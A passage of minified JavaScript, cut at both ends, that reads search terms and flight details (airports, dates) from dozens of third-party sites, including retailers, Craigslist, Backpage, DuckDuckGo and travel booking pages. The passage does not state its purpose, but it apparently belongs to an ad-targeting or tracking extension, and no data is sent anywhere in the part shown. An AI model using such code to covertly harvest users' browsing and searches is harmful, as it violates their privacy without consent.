return; } break; case 'buycheapr': m = href.match(/^https?:\/\/[a-z]+\.buycheapr\.com\/(.*?)\?(.+&)?q=([^&]*).*$/) if (m !== null) { isBCheapr = true; escapedTerm = m[3]; term = unescape(m[3]); return; } break; case 'alibaba': m = href.match(/^https?:\/\/[a-z]+\.alibaba\.com\/(.*?)\?(.+&)?SearchText=([^&]*).*$/) if (m !== null) { isAlibaba = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'zazzle': m = href.match(/^https?:\/\/[a-z]+\.zazzle\.com\/(.*?)$/) if (m !== null) { isZazzle = true; escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/\+/g, " "); return; } break; case 'thefind': m = href.match(/^https?:\/\/[a-z]+\.thefind\.com\/(.*?)\?(.+&)?query=([^&]*).*$/) if (m !== null) { isThefind = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'nordstrom': m = href.match(/^https?:\/\/[a-z]+\.nordstrom\.com\/(.*?)\?(.+&)?keyword=([^&]*).*$/) if (m !== null) { isNStrom = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'officedepot': m = href.match(/^https?:\/\/[a-z]+\.officedepot\.com\/(.*?)\?(.+&)?Ntt=([^&]*).*$/) if (m !== null) { isOdepot = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'forever21': m = href.match(/^https?:\/\/[a-z]+\.forever21\.com\/(.*?)\?(.+&)?keyword=([^&]*).*$/) if (m !== null) { isF21 = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'bedbathandbeyond': m = href.match(/^https?:\/\/[a-z]+\.bedbathandbeyond\.com\/(.*?)\?(.+&)?Keyword=([^&]*).*$/) if (m !== null) { isBedbath = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'qvc': m = href.match(/^https?:\/\/[a-z]+\.qvc\.com\/(.*?)\?(.+&)?keyword=([^&]*).*$/) if (m !== null) { isQvc = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'gifts': m = href.match(/^https?:\/\/[a-z]+\.gifts\.com\/(.*?)\?(.+&)?keyword=([^&]*).*$/) if (m !== null) { isGifts = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'drugstore': m = href.match(/^https?:\/\/[a-z]+\.drugstore\.com\/(.*?)\?(.+&)?Ntt=([^&]*).*$/) if (m !== null) { isDrugstore = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case '123rf': m = href.match(/^https?:\/\/[a-z]+\.123rf\.com\/(.*?)\?(.+&)?word=([^&]*).*$/); if (m !== null) { is123rf = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'gamestop': m = href.match(/^https?:\/\/[a-z]+\.gamestop\.com\/(.*?)\?(.+&)?nav=([^&]*).*$/); if (m !== null) { if(m[3] != '') { isGamestop = true; var termsSp = m[3].split(","); var termsArr = termsSp[0].split("-"); escapedTerm = termsArr[termsArr.length-1]; term = unescape(escapedTerm); term = term.replace(/\+/g, " "); } return; } break; case 'barnesandnoble': m = href.match(/^https?:\/\/[a-z]+\.barnesandnoble\.com\/(.*?)\?(.+&)?keyword=([^&]*).*$/); if (m !== null) { isBnoble = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'zappos': m = href.match(/^https?:\/\/[a-z]+\.zappos\.com\/(.*?)\?(.+&)?ot=([^&]*).*$/); if (m !== null) { isZappos = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'walgreens': m = href.match(/^https?:\/\/[a-z]+\.walgreens\.com\/(.*?)\?(.+&)?Ntt=([^&]*).*$/); if (m !== null) { isWalgreens = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'dell': m = href.match(/^https?:\/\/[a-z]+\.dell\.com\/(.*?)\?(.+&)?sk=([^&]*).*$/); if (m !== null) { isDell = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'cvs': m = href.match(/^https?:\/\/[a-z]+\.cvs\.com\/(.*?)\?(.+&)?searchTerm=([^&]*).*$/); if (m !== null) { isCvs = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'bizrate': m = href.match(/^https?:\/\/[a-z]+\.bizrate\.com\/(.*?)\/.*$/); if (m !== null) { isBizrate = true; escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/\-/g, " "); return; } break; case 'nike': m = href.match(/^https?:\/\/[a-z]+\.nike\.com\/(.*?)\?(.+&)?sl=([^&]*).*$/); if (m !== null) { isNike = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'wayfair': m = href.match(/^https?:\/\/[a-z]+\.wayfair\.com\/(.*?)\?(.+&)?keyword=([^&]*).*$/); if (m !== null) { isWayfair = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'evite': m = href.match(/^https?:\/\/[a-z]+\.evite\.com\/(.*?)\?(.+&)?query=([^&]*).*$/); if (m !== null) { isEvite = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'samsclub': m = href.match(/^https?:\/\/[a-z]+\.samsclub\.com\/(.*?)\?(.+&)?searchTerm=([^&]*).*$/); if (m !== null) { isSamsclub = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'victoriassecret': m = href.match(/^https?:\/\/[a-z1-9]+\.victoriassecret\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isVictorias = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'dickssportinggoods': m = href.match(/^https?:\/\/[a-z]+\.dickssportinggoods\.com\/(.*?)\?(.+&)?origkw=([^&]*).*$/); if (m !== null) { isDicks = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'vistaprint': m = href.match(/^https?:\/\/[a-z]+\.vistaprint\.com\/(.*?)\/(.*?)\?.*$/); if (m !== null) { isVista = true; if(m[2] && m[2] != '') { var termSp = m[2].split("."); escapedTerm = termSp[0]; term = unescape(escapedTerm); term = term.replace(/\-/g, " "); } return; } break; case 'cafepress': m = href.match(/^https?:\/\/[a-z]+\.cafepress\.com\/(.*?)$/); if (m !== null) { isCafepress = true; escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/\+/g, " "); return; } break; case 'ae': m = href.match(/^https?:\/\/[a-z]+\.ae\.com\/(.*?)\?(.+&)?Ntt=([^&]*).*$/); if (m !== null) { isAe = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'hsn': m = href.match(/^https?:\/\/[a-z]+\.hsn\.com\/(.*?)\?(.+&)?query=([^&]*).*$/); if (m !== null) { isHsn = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'footlocker': m = href.match(/^https?:\/\/[a-z]+\.footlocker\.com\/(.*?)\/(.*?)$/); if (m !== null) { isFootlocker = true; if(m[2] && m[2] != '') { var termSp = m[2].split("-"); escapedTerm = termSp[termSp.length-1]; term = unescape(escapedTerm); term = term.replace(/\+/g, " "); } return; } break; case 'lenovo': m = href.match(/^https?:\/\/[a-z]+\.lenovo\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isLenovo = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'smarter': if(jQuery('#headsearch').find('input[name="qq"]').val() != '') { isSmarter = true; escapedTerm = jQuery('#headsearch').find('input[name="qq"]').val(); term = unescape(escapedTerm); term = term.replace(/\+/g, " "); } break; case 'craigslist': if(jQuery('#query').val() != '') { isCraigslist = true; escapedTerm = jQuery('#query').val(); term = unescape(escapedTerm); term = term.replace(/\+/g, " "); return; } if(jQuery('#catAbb option:selected').text() != '') { isCraigslist = true; escapedTerm = jQuery('#catAbb option:selected').text(); term = unescape(escapedTerm); term = term.replace(/\+/g, " "); return; } break; case 'backpage': if(jQuery('form[name="formRefineSearch"]').find('input[name="keyword"]').val() != '' && jQuery('form[name="formRefineSearch"]').find('input[name="keyword"]').val().indexOf('keyword') == -1) { isBackpage = true; escapedTerm = jQuery('form[name="formRefineSearch"]').find('input[name="keyword"]').val(); term = unescape(escapedTerm); term = term.replace(/\+/g, " "); return; } if(jQuery('form[name="formRefineSearch"]').find('select[name="category"] option:selected').text() != '') { isBackpage = true; escapedTerm = jQuery('form[name="formRefineSearch"]').find('select[name="category"] option:selected').text(); escapedTerm = jQuery.trim(escapedTerm); term = unescape(escapedTerm); term = term.replace(/\+/g, " "); return; } break; case 'duckduckgo': m = href.match(/^https?:\/\/duckduckgo\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isDuckgo = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'about': if(jQuery('input[name="q"]').val() != '') { isAbout = true; escapedTerm =jQuery('input[name="q"]').val(); term = unescape(escapedTerm); term = term.replace(/\+/g, " "); return; } m = href.match(/^https?:\/\/kayak\.about\.com\/.*$/); if (m !== null) { m = jQuery('meta[property="og:url"]').attr('content').match(/^https?:\/\/[a-z]+\.about\.com\/flights\/(.*?)\/(.*?)\/(.*?)$/); if(m !== null) { aptStr = m[1]; deptDateStr = m[2]; retDateStr = m[3]; aptStrSp = aptStr.split('-'); if(aptStrSp[0]) deptApt = aptStrSp[0]; if(aptStrSp[1]) arrApt = aptStrSp[1]; deptDateStrSp = deptDateStr.split('-'); if(deptDateStrSp.length == 3) deptDate = deptDateStrSp[1]+"-"+deptDateStrSp[2]+"-"+deptDateStrSp[0]; retDateStrSp = retDateStr.split('-'); if(retDateStrSp.length == 3) retDate = retDateStrSp[1]+"-"+retDateStrSp[2]+"-"+retDateStrSp[0]; if(deptApt && deptApt != '') isTravel = true; } return; } break; case 'jeepforum': m = href.match(/^https?:\/\/[a-z]+\.jeepforum\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isJeepforum = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'findprices': m = href.match(/^https?:\/\/[a-z]+\.findprices\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isFindprices = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'safercar': m = href.match(/^https?:\/\/[a-z]+\.safercar\.gov\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isSafercar = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'abcteach': m = href.match(/^https?:\/\/[a-z]+\.abcteach\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isAbcteach = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'jimmyjazz': m = href.match(/^https?:\/\/[a-z]+\.jimmyjazz\.com\/(.*?)\?(.+&)?keywords=([^&]*).*$/); if (m !== null) { isJimmyjazz = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'aliexpress': m = href.match(/^https?:\/\/[a-z]+\.aliexpress\.com\/(.*?)\?(.+&)?SearchText=([^&]*).*$/); if (m !== null) { isAliexpress = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'crengland': m = href.match(/^https?:\/\/[a-z]+\.crengland\.com\/search\/node\/(.*?)$/); if (m !== null) { isCrengland = true; escapedTerm = m[1]; term = unescape(m[1]); term = term.replace(/\+/g, " "); return; } break; case 'behance': m = href.match(/^https?:\/\/[a-z]+\.behance\.net\/(.*?)\?(.+&)?search=([^&]*).*$/); if (m !== null) { isBehance = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'rewarder': m = href.match(/^https?:\/\/rewarder\.com\/(.*?)\?(.+&)?search=([^&]*).*$/); if (m !== null) { isRewarder = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'redmondpie': m = href.match(/^https?:\/\/[a-z]+\.redmondpie\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isRmondpie = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case '123peppy': m = href.match(/^https?:\/\/[a-z]+\.123peppy\.com\/(.*?)\?(.+&)?keyword=([^&]*).*$/); if (m !== null) { is123peppy = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'movie2k': m = href.match(/^https?:\/\/movie2k\.sx\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isMovie2k = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'wmur': m = href.match(/^https?:\/\/[a-z]+\.wmur\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isWmur = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'inspectionsticker': m = href.match(/^https?:\/\/inspectionsticker\.net\/(.*?)\?(.+&)?keyword=([^&]*).*$/); if (m !== null) { isIsticker = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'nbcphiladelphia': m = href.match(/^https?:\/\/[a-z]+\.nbcphiladelphia\.com\/(.*?)\?(.+&)?keywords=([^&]*).*$/); if (m !== null) { isNbcphil = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'griffintechnology': m = href.match(/^https?:\/\/[a-z]+\.griffintechnology\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isGriffin = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'lds': m = href.match(/^https?:\/\/[a-z]+\.lds\.org\/(.*?)\?(.+&)?query=([^&]*).*$/); if (m !== null) { isLds = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'pcrichard': m = href.match(/^https?:\/\/[a-z]+\.pcrichard\.com\/(.*?)\?(.+&)?question=([^&]*).*$/); if (m !== null) { isPcrich = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'pcmag': m = href.match(/^https?:\/\/[a-z]+\.pcmag\.com\/(.*?)\?(.+&)?qry=([^&]*).*$/); if (m !== null) { isPcmag = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'sidereel': m = href.match(/^https?:\/\/[a-z]+\.sidereel\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isSidereel = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'uggaustralia': m = href.match(/^https?:\/\/[a-z]+\.uggaustralia\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isUgg = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'funnymama': m = href.match(/^https?:\/\/funnymama\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isFunnymama = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'hamiltonbeach': m = href.match(/^https?:\/\/[a-z]+\.hamiltonbeach\.com\/(.*?)\?(.+&)?search=([^&]*).*$/); if (m !== null) { isHamilton = true; if(m[3] && m[3] != '') { spTerm = m[3].split("#"); escapedTerm = spTerm[0]; term = unescape(spTerm[0]); term = term.replace(/\+/g, " "); return; } } break; case 'quizlet': m = href.match(/^https?:\/\/quizlet\.com\/(.*?)\/(.*?)\/$/); if (m !== null) { isQuizlet = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.replace(/\+/g, " "); return; } break; case 'rantlifestyle': m = href.match(/^https?:\/\/[a-z]+\.rantlifestyle\.com\/(.*?)\?(.+&)?s=([^&]*).*$/); if (m !== null) { isRantlife = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'fashiondivadesign': m = href.match(/^https?:\/\/[a-z]+\.fashiondivadesign\.com\/(.*?)\?(.+&)?s=([^&]*).*$/); if (m !== null) { isFashiondiva = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'nationalgeographic': m = href.match(/^https?:\/\/[a-z]+\.nationalgeographic\.com\/(.*?)\?(.+&)?search=([^&]*).*$/); if (m !== null) { isNg = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'popphoto': m = href.match(/^https?:\/\/[a-z]+\.popphoto\.com\/(.*?)\/(.*?)$/); if (m !== null) { isPopphoto = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.replace(/\+/g, " "); return; } break; case 'redbubble': m = href.match(/^https?:\/\/[a-z]+\.redbubble\.com\/(.*?)\/(.*?)$/); if (m !== null) { isRedbubble = true; escapedTerm = m[2]; term = unescape(m[2]); term = term.replace(/\+/g, " "); return; } break; case 'sephora': m = href.match(/^https?:\/\/[a-z]+\.sephora\.com\/(.*?)\?(.+&)?keyword=([^&]*).*$/); if (m !== null) { isSephora = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'dailykos': m = href.match(/^https?:\/\/[a-z]+\.dailykos\.com\/(.*?)\?(.+&)?text=([^&]*).*$/); if (m !== null) { isDailykos = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'cargurus': m = href.match(/^https?:\/\/[a-z]+\.cargurus\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isCargurus = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case '13wmaz': m = href.match(/^https?:\/\/[a-z]+\.13wmaz\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { is13wmaz = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'tinypic': m = href.match(/^https?:\/\/tinypic\.com\/(.*?)\?(.+&)?tag=([^&]*).*$/); if (m !== null) { isTinypic = true; if(m[3] && m[3] != '') { spTerm = m[3].split("#"); escapedTerm = spTerm[0]; term = unescape(spTerm[0]); term = term.replace(/\+/g, " "); return; } } break; case 'cnn': m = href.match(/^https?:\/\/[a-z]+\.cnn\.com\/(.*?)\?(.+&)?query=([^&]*).*$/); if (m !== null) { isCnn = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'linkedin': m = href.match(/^https?:\/\/[a-z]+\.linkedin\.com\/(.*?)\?(.+&)?keywords=([^&]*).*$/); if (m !== null) { isLinkedin = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'pinterest': m = href.match(/^https?:\/\/[a-z]+\.pinterest\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isPinterest = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'vimeo': m = href.match(/^https?:\/\/vimeo\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isVimeo = true; escapedTerm = m[3]; term = unescape(m[3]); term = term.replace(/\+/g, " "); return; } break; case 'orbitz': m = href.match(/^https?:\/\/[a-z]+\.orbitz\.com\/shop.*$/); if (m !== null) { deptApt = jQuery('.departLocation').next().html(); deptApt = deptApt.replace("(", ""); deptApt = deptApt.replace(")", ""); arrApt = jQuery('.arriveLocation').next().html(); arrApt = arrApt.replace("(", ""); arrApt = arrApt.replace(")", ""); deptDate = jQuery('meta[name="DCSext.dd"]').attr('content'); deptDate = deptDate.replace(/\//g, '-'); retDate = jQuery('meta[name="DCSext.rd"]').attr('content'); retDate = retDate.replace(/\//g, '-'); if(deptApt && deptApt != '') isTravel = true; return; } break; case 'priceline': m = href.match(/^https?:\/\/[a-z]+\.priceline\.com\/airlines.*$/); if (m !== null) { deptApt = jQuery('fieldset[class="from"] > span[class="dest"]').find('input[type="text"]').val(); arrApt = jQuery('fieldset[class="to"] > span[class="dest"]').find('input[type="text"]').val(); deptDate = jQuery('fieldset[class="from"] > span[class="date"]').find('input[type="text"]').val(); deptDate = deptDate.replace(/\//g, '-'); retDate = jQuery('fieldset[class="to"] > span[class="date"]').find('input[type="text"]').val(); retDate = retDate.replace(/\//g, '-'); if(deptApt && deptApt != '') isTravel = true; return; } break; case 'expedia': case 'travelocity': m = href.match(/^https?:\/\/[a-z]+\.expedia\.com\/Flight.*$/); if(!m || m.length == 0) m = href.match(/^https?:\/\/[a-z]+\.travelocity\.com\/Flight.*$/); if (m !== null) { deptAptVal = jQuery('#departureAirport').val(); deptAptMtc = deptAptVal.match(/^(.*?)\((.*?)\)$/); if(deptAptMtc[2] && deptAptMtc[2] != '') { deptAptSp = deptAptMtc[2].split("-"); if(deptAptSp[0]) deptApt = deptAptSp[0]; } arrAptVal = jQuery('#returnAirport').val(); arrAptMtc = arrAptVal.match(/^(.*?)\((.*?)\)$/); if(arrAptMtc[2] && arrAptMtc[2] != '') { arrAptSp = arrAptMtc[2].split("-"); if(arrAptSp[0]) arrApt = arrAptSp[0]; } deptDate = jQuery('#departDate').val(); deptDate = deptDate.replace(/\//g, '-'); retDate = jQuery('#returnDate').val(); retDate = retDate.replace(/\//g, '-'); if(deptApt && deptApt != '') isTravel = true; return; } break; case 'hotwire': m = href.match(/^https?:\/\/[a-z]+\.hotwire\.com\/air.*$/); if (m !== null) { deptApt = jQuery('.origin:first').find('strong').html(); arrApt = jQuery('.destination:first').find('strong').html(); var dateStr = $('#genRandom22').find('a:first').attr('href'); if(dateStr && dateStr != '') { dateArr = dateStr.split("?"); if(dateArr[1] && dateArr[1] != '') { dateParams = dateArr[1]; dateVars = dateParams.split("&"); for(var t=0; t < dateVars.length; t++) { tParamName = dateVars[t].split("="); if(tParamName[0] == "fromdate") deptDate = tParamName[1]; if(tParamName[0] == "todate") retDate = tParamName[1]; } } } deptDate = deptDate.replace(/\//g, '-'); retDate = retDate.replace(/\//g, '-'); if(deptApt && deptApt != '') isTravel = true; return; } break; case 'expedia-aarp': m = href.match(/^https?:\/\/[a-z]+\.expedia\-aarp\.com\/Flight.*$/); if (m !== null) { deptAptVal = jQuery('#inpDepartureLocations0').val(); deptAptMtc = deptAptVal.match(/^(.*?)\((.*?)\)$/); if(deptAptMtc[2] && deptAptMtc[2] != '') { deptAptSp = deptAptMtc[2].split("-"); if(deptAptSp[0]) deptApt = deptAptSp[0]; } arrAptVal = jQuery('#inpArrivalLocations0').val(); arrAptMtc = arrAptVal.match(/^(.*?)\((.*?)\)$/); if(arrAptMtc[2] && arrAptMtc[2] != '') { arrAptSp = arrAptMtc[2].split("-"); if(arrAptSp[0]) arrApt = arrAptSp[0]; } deptDate = jQuery('#inpDepartDate1').val(); deptDate = deptDate.replace(/\//g, '-'); retDate = jQuery('#inpReturnDate').val(); retDate = retDate.replace(/\//g, '-'); if(deptApt && deptApt != '') isTravel = true; return; } break; case 'tripadvisor': m = href.match(/^https?:\/\/[a-z]+\.tripadvisor\.com\/CheapFlights.*$/); if (m !== null) { aptStr = document.location.href; aptArr = aptStr.split("?"); if(aptArr[1] && aptArr[1] != '') { aptParams = aptArr[1]; aptVars = aptParams.split("&"); for(var t=0; t < aptVars.length; t++) { aParamName = aptVars[t].split("="); if(aParamName[0] == "airport0") deptApt = aParamName[1]; if(aParamName[0] == "airport1") arrApt = aParamName[1]; if(aParamName[0] == "date0") deptDateStr = aParamName[1]; if(aParamName[0] == "date1") retDateStr = aParamName[1]; } if(deptDateStr) deptDate = deptDateStr.substr(4,2)+"-"+deptDateStr.substr(6,2)+"-"+deptDateStr.substr(0,4); if(retDateStr) retDate = retDateStr.substr(4,2)+"-"+retDateStr.substr(6,2)+"-"+retDateStr.substr(0,4); } if(deptApt && deptApt != '') isTravel = true; return; } break; case 'bookingbuddy': m = href.match(/^https?:\/\/[a-z]+\.bookingbuddy\.com\/tabsearches.*$/); if (m !== null) { deptDay = ''; deptMon = ''; retDay = ''; retMon = ''; aptStr = document.location.href; aptArr = aptStr.split("?"); if(aptArr[1] && aptArr[1] != '') { aptParams = aptArr[1]; aptVars = aptParams.split("&"); for(var t=0; t < aptVars.length; t++) { aParamName = aptVars[t].split("="); if(aParamName[0] == "departure_city") deptAptStr = unescape(aParamName[1]); if(aParamName[0] == "arrival_city") arrAptStr = unescape(aParamName[1]); if(aParamName[0] == "departure_date") deptDate = unescape(aParamName[1]); if(aParamName[0] == "return_date") retDate = unescape(aParamName[1]); if(aParamName[0] == "departure_day") deptDay = unescape(aParamName[1]); if(aParamName[0] == "return_day") retDay = unescape(aParamName[1]); if(aParamName[0] == "departure_month") deptMon = unescape(aParamName[1]); if(aParamName[0] == "return_month") retMon = unescape(aParamName[1]); } if(deptAptStr && deptAptStr.indexOf('(') != -1) { deptAptMtc = deptAptStr.match(/^(.*?)\((.*?)\)$/); deptApt = deptAptMtc[2]; } else deptApt = deptAptStr; if(arrAptStr && arrAptStr.indexOf('(') != -1) { arrAptMtc = arrAptStr.match(/^(.*?)\((.*?)\)$/); arrApt = arrAptMtc[2]; } else arrApt = arrAptStr; if(!deptDate || deptDate == '') { if(deptDay != '' && deptMon != '') { deptMonSp = deptMon.split('+'); deptDate = deptMonSp[0]+'-'+deptDay+'-'+deptMonSp[1]; } } if(!retDate || retDate == '') { if(retDay != '' && retMon != '') { retMonSp = retMon.split('+'); retDate = retMonSp[0]+'-'+retDay+'-'+retMonSp[1]; } } } if(deptApt && deptApt != '') isTravel = true; return; } break; case 'onetime': m = href.match(/^https?:\/\/[a-z]+\.onetime\.com\/tabsearch.*$/); if (m !== null) { aptStr = document.location.href; aptArr = aptStr.split("?"); if(aptArr[1] && aptArr[1] != '') { aptParams = aptArr[1]; aptVars = aptParams.split("&"); for(var t=0; t < aptVars.length; t++) { aParamName = aptVars[t].split("="); if(aParamName[0] == "from") deptApt = unescape(aParamName[1]); if(aParamName[0] == "to") arrApt = unescape(aParamName[1]); if(aParamName[0] == "inDate") deptDate = unescape(aParamName[1]); if(aParamName[0] == "outDate") retDate = unescape(aParamName[1]); } deptDate = deptDate.replace(/\//g, '-'); retDate = retDate.replace(/\//g, '-'); } if(deptApt && deptApt != '') isTravel = true; return; } break; case 'airfarewatchdog': m = href.match(/^https?:\/\/[a-z]+\.airfarewatchdog\.com\/TabSearch.*$/); if (m !== null) { aptStr = document.location.href; aptArr = aptStr.split("?"); if(aptArr[1] && aptArr[1] != '') { aptParams = aptArr[1]; aptVars = aptParams.split("&"); for(var t=0; t < aptVars.length; t++) { aParamName = aptVars[t].split("="); if(aParamName[0] == "departure_city") deptAptStr = unescape(aParamName[1]); if(aParamName[0] == "arrival_city") arrAptStr = unescape(aParamName[1]); if(aParamName[0] == "departure_date") deptDate = unescape(aParamName[1]); if(aParamName[0] == "return_date") retDate = unescape(aParamName[1]); } if(deptAptStr) { deptAptMtc = deptAptStr.match(/^(.*?)\((.*?)\)$/); deptApt = deptAptMtc[2]; } if(arrAptStr) { arrAptMtc = arrAptStr.match(/^(.*?)\((.*?)\)$/); arrApt = arrAptMtc[2]; } } if(deptApt && deptApt != '') isTravel = true; return; } break; case 'smartertravel': m = href.match(/^https?:\/\/[a-z]+\.smartertravel\.com\/TabSearch.*$/); if (m !== null) { aptStr = document.location.href; aptArr = aptStr.split("?"); if(aptArr[1] && aptArr[1] != '') { aptParams = aptArr[1]; aptVars = aptParams.split("&"); for(var t=0; t < aptVars.length; t++) { aParamName = aptVars[t].split("="); if(aParamName[0] == "departure_city") deptAptStr = unescape(aParamName[1]); if(aParamName[0] == "arrival_city") arrAptStr = unescape(aParamName[1]); if(aParamName[0] == "departure_date") deptDate = unescape(aParamName[1]); if(aParamName[0] == "return_date") retDate = unescape(aParamName[1]); } if(deptAptStr) { deptAptMtc = deptAptStr.match(/^(.*?)\((.*?)\)$/); deptApt = deptAptMtc[2]; } if(arrAptStr) { arrAptMtc = arrAptStr.match(/^(.*?)\((.*?)\)$/); arrApt = arrAptMtc[2]; } } if(deptApt && deptApt != '' && arrApt && arrApt != '' && deptDate && deptDate != '') isTravel = true; return; } break; case 'seatguru': m = href.match(/^https?:\/\/[a-z]+\.seatguru\.com\/flights.*$/); if (m !== null) { aptStr = document.location.href; aptArr = aptStr.split("?"); if(aptArr[1] && aptArr[1] != '') { aptParams = aptArr[1]; aptVars = aptParams.split("&"); for(var t=0; t < aptVars.length; t++) { aParamName = aptVars[t].split("="); if(aParamName[0] == "airport0") deptApt = aParamName[1]; if(aParamName[0] == "airport1") arrApt = aParamName[1]; if(aParamName[0] == "date0") deptDateStr = aParamName[1]; if(aParamName[0] == "date1") retDateStr = aParamName[1]; } if(deptDateStr) deptDate = deptDateStr.substr(4,2)+"-"+deptDateStr.substr(6,2)+"-"+deptDateStr.substr(0,4); if(retDateStr) retDate = retDateStr.substr(4,2)+"-"+retDateStr.substr(6,2)+"-"+retDateStr.substr(0,4); } if(deptApt && deptApt != '') isTravel = true; return; } break; case 'rezserver': m = href.match(/^https?:\/\/rezserver\.com\/air.*$/); if (m !== null) { aptStr = document.location.href; aptArr = 